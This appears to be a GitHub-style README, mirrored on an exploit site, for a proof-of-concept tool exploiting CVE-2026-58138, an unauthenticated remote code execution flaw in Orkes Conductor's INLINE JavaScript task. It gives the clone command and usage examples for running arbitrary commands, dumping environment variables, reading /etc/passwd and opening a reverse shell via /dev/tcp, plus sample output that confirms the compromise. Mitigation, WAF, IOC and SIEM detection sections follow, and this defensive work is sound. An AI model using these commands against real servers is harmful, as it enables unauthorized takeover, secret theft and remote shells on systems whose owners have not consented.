Exploit for CVE-2026-58138

## https://sploitus.com/exploit?id=61CFED1D-ED41-54D0-9973-85826C9E9AC7
# CVE-2026-58138 - Orkes Conductor Unauthenticated RCE PoC


  



  Critical Remote Code Execution Vulnerability in Orkes Conductor



  
    
  
  
    
  
  
    
  


---

## 📋 Table of Contents

- [Overview](#-overview)
- [Vulnerability Details](#-vulnerability-details)
- [Affected Versions](#-affected-versions)
- [Installation](#-installation)
- [Usage](#-usage)
- [Examples](#-examples)
- [Mitigation](#-mitigation)
- [Detection](#-detection)
- [References](#-references)
- [Disclaimer](#-disclaimer)

---

## 📋 Overview

**CVE-2026-58138** is a critical unauthenticated Remote Code Execution (RCE) vulnerability affecting **Orkes Conductor** versions `3.21.21` through `3.30.1`. This vulnerability allows attackers to execute arbitrary commands on the Conductor server without requiring any authentication, potentially leading to complete system compromise.

### 🔴 Severity
- **CVSS Score**: 9.8 (Critical)
- **Attack Vector**: Network
- **Authentication**: None Required
- **Impact**: Complete System Compromise
- **Confidentiality**: High
- **Integrity**: High
- **Availability**: High

---

## ⚙️ Vulnerability Details

The vulnerability exists in the **INLINE task** type within Orkes Conductor's workflow engine. The `INLINE` task supports JavaScript evaluation with access to Java objects via `eval`, allowing an attacker to:

1. **Register** a malicious workflow containing an `INLINE` task with JavaScript code
2. **Execute** arbitrary Java code through JavaScript's Java interop
3. **Run** system commands on the Conductor server via `java.lang.Runtime.exec()`

### 🎯 Impact
- Complete system compromise of the Conductor server
- Data exfiltration
- Lateral movement within the network
- Denial of Service (DoS)
- Potential ransomware deployment
- Access to sensitive environment variables and secrets

---

## 📦 Affected Versions

| Version Range | Status | Action Required |
|---------------|--------|-----------------|
| 3.21.21 - 3.30.1 | ✅ Vulnerable | **Immediate Upgrade Required** |
|  3.30.1 | ❌ Patched | Secure |

### 🚨 Confirmed Vulnerable Configurations
- Orkes Conductor Open Source
- Orkes Conductor Enterprise (self-hosted)
- Orkes Conductor Cloud (prior to patch)

---

## 🚀 Installation

### Prerequisites

- Python 3.6+
- `urllib` (built-in)
- `json` (built-in)
- Network access to target Conductor instance

### Quick Installation

```bash
# Clone the repository
git clone https://github.com/0xgh057r3c0n/CVE-2026-58138.git
cd CVE-2026-58138

# Make the script executable
chmod +x CVE-2026-58138.py

# Verify installation
python3 CVE-2026-58138.py --help
```

### Installation with Virtual Environment

```bash
# Create virtual environment
python3 -m venv venv

# Activate virtual environment
source venv/bin/activate  # Linux/Mac
# or
venv\Scripts\activate     # Windows

# No external dependencies required (uses built-in libraries)
```

### Docker Installation (Optional)

```bash
# Build Docker image
docker build -t cve-2026-58138 .

# Run container
docker run --rm -it cve-2026-58138 http://target:8080
```

---

## 💻 Usage

### Basic Syntax

```bash
python3 CVE-2026-58138.py  [OPTIONS]
```

### Command Line Options

| Option | Description | Default |
|--------|-------------|---------|
| `target` | Conductor API base URL (required) | - |
| `-c, --cmd` | Command to execute on target | `id; hostname` |
| `-h, --help` | Show help message | - |

---

## 📊 Examples

### 1. Basic Usage (Default Command)
```bash
python3 CVE-2026-58138.py http://192.168.1.100:8080
```

### 2. Custom Command Execution
```bash
python3 CVE-2026-58138.py http://192.168.1.100:8080 -c "whoami; uname -a; pwd"
```

### 3. File System Exploration
```bash
python3 CVE-2026-58138.py http://192.168.1.100:8080 -c "ls -la /etc/passwd"
```

### 4. Environment Variables
```bash
python3 CVE-2026-58138.py http://192.168.1.100:8080 -c "env"
```

### 5. Reverse Shell (Test Environment Only)
```bash
python3 CVE-2026-58138.py http://192.168.1.100:8080 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
```

---

## 📊 Example Output

```bash
_____________   _______________         _______________   ________  ________          .________  ______  ____________    ______  
\_   ___ \   \ /   /\_   _____/         \_____  \   _  \  \_____  \/  _____/          |   ____/ /  __  \/_   \_____  \  /  __  \ 
/    \  \/\   Y   /  |    __)_   ______  /  ____/  /_\  \  /  ____/   __  \   ______  |____  \  >            ] Orkes Conductor 3.21.21 - 3.30.1 Remote Code Execution
[>] Author: 0xgh057r3c0n
[>] CVE-2026-58138 Unauthenticated RCE PoC

[*] target  = http://192.168.1.100:8080
[*] command = 'id; hostname'
[*] registering workflow with malicious INLINE (javascript) task ... (no auth)
[+] workflow 'pwn_1742345678' registered (HTTP 200)
[*] starting workflow ... (no auth)
[+] started workflow id = 123e4567-e89b-12d3-a456-426614174000 (HTTP 201)
[*] waiting for INLINE task to complete ...
[*] workflow status = RUNNING (poll 1/15)
[*] workflow status = RUNNING (poll 2/15)
[+] UNAUTHENTICATED RCE CONFIRMED – command output from the Conductor host:
uid=1000(conductor) gid=1000(conductor) groups=1000(conductor)
conductor-server-6b7c8d9e0f-abc12
```

---

## 🛡️ Mitigation

### Immediate Actions

1. **Upgrade** to Orkes Conductor `3.30.2` or later
2. **Apply** security patches as soon as possible
3. **Restrict** network access to the Conductor API
4. **Monitor** for suspicious workflow registrations
5. **Review** existing workflows for malicious content

### Configuration Hardening

```yaml
# application.yml
conductor:
  workflow:
    # Disable INLINE task type if not required
    allowed-task-types:
      - SIMPLE
      - HTTP
      - WAIT
      - EVENT
      - FORK
      - JOIN
      - DECISION
      # REMOVE: INLINE
```

### Network Protection

```bash
# Restrict access to Conductor API
# Allow only trusted IPs
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 192.168.0.0/16 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP
```

### Web Application Firewall (WAF) Rules

```nginx
# Nginx WAF rule example
location /api/metadata/workflow {
    # Block suspicious workflow registrations
    if ($request_body ~* "INLINE.*javascript") {
        return 403;
    }
}

location /api/workflow/ {
    # Log all workflow starts
    access_log /var/log/nginx/conductor_workflow.log;
}
```

---

## 🔍 Detection

### Log Monitoring

Look for suspicious workflow registrations containing JavaScript code:

```json
{
  "name": "suspicious_workflow",
  "tasks": [
    {
      "type": "INLINE",
      "inputParameters": {
        "evaluatorType": "javascript",
        "expression": "var k=$.getClass()..."
      }
    }
  ]
}
```

### Indicators of Compromise (IOCs)

#### Workflow Indicators
- Unusual workflow names (e.g., `pwn_*`, `test_*`, `temp_*`)
- Workflows with `INLINE` tasks containing JavaScript expressions
- Base64 encoded commands in workflow definitions

#### Network Indicators
- Unauthorized API calls to `/api/metadata/workflow`
- Multiple workflow registrations in short time
- Unexpected `/api/workflow/*` calls

#### System Indicators
- Unexpected process executions
- New user accounts created
- Suspicious outbound network connections
- Modified system files

### SIEM Detection Rules

```yaml
# Elastic SIEM detection rule
rule:
  name: "Orkes Conductor RCE Attempt"
  type: "query"
  query: |
    event.dataset: "conductor.api" 
    and http.request.method: "POST"
    and (http.request.uri: "/api/metadata/workflow" 
         or http.request.uri: "/api/workflow/*")
    and http.request.body.content: "*INLINE*javascript*"
  severity: "critical"
```

---

## 📚 References

### Official
- [Orkes Conductor Official Website](https://orkes.io)
- [Orkes Conductor Security](https://orkes.io/security)
- [Orkes Conductor Documentation](https://orkes.io/docs)

### CVE References
- [NVD - CVE-2026-58138](https://nvd.nist.gov/vuln/detail/CVE-2026-58138)
- [MITRE CVE-2026-58138](https://vulners.com/cve/CVE-2026-58138)

### Security Resources
- [OWASP Top 10 - Injection](https://owasp.org/Top10/A03_2021-Injection/)
- [OWASP Remote Code Execution](https://owasp.org/www-community/attacks/Code_Injection)
- [CWE-94: Code Injection](https://cwe.mitre.org/data/definitions/94.html)

---

## ⚠️ Disclaimer

**This tool is provided for educational and security research purposes only.** The author is not responsible for any misuse or damage caused by this tool. 

### Terms of Use

1. **Authorization**: Only use this tool on systems you own or have explicit permission to test
2. **Legal Compliance**: Comply with all applicable laws and regulations
3. **Responsible Disclosure**: Report vulnerabilities to vendors, not exploit them
4. **No Warranty**: This tool is provided "AS IS" without warranty of any kind
5. **Liability**: Author assumes no liability for any misuse or damage

### Responsible Use

```text
DO NOT use this tool:
- Against systems you don't own
- Without written authorization
- For illegal activities
- To cause damage or disruption
- In production environments (without approval)

DO use this tool:
- In controlled security testing
- For educational purposes
- To verify security controls
- With proper authorization
- Following responsible disclosure
```

---

## 📞 Contact & Support

### Author
- **Name**: 0xgh057r3c0n
- **GitHub**: [@0xgh057r3c0n](https://github.com/0xgh057r3c0n)

### Reporting Issues
- **Bug Reports**: Open an issue on GitHub
- **Security Concerns**: Email security@orkes.io
- **Vulnerability Disclosure**: Follow responsible disclosure process

---

## 📊 Statistics

| Metric | Value |
|--------|-------|
| CVSS Score | 9.8 (Critical) |
| Exploit Availability | Public PoC |
| Active Exploitation | Observed in Wild |
| Patch Available | Yes (3.30.2+) |
| Workaround Available | Yes (Disable INLINE) |

---

## 🏆 Acknowledgments

- **Orkes Conductor Team**: For their swift response and patch
- **Security Researchers**: Who validated the vulnerability
- **Open Source Community**: For their contributions to security

---


  ⭐ Found this useful? Give it a star on GitHub ⭐



  
    
  
  
    
  


---


  🔒 Stay Secure, Stay Vigilant 🔒



  Made with ❤️ for the security community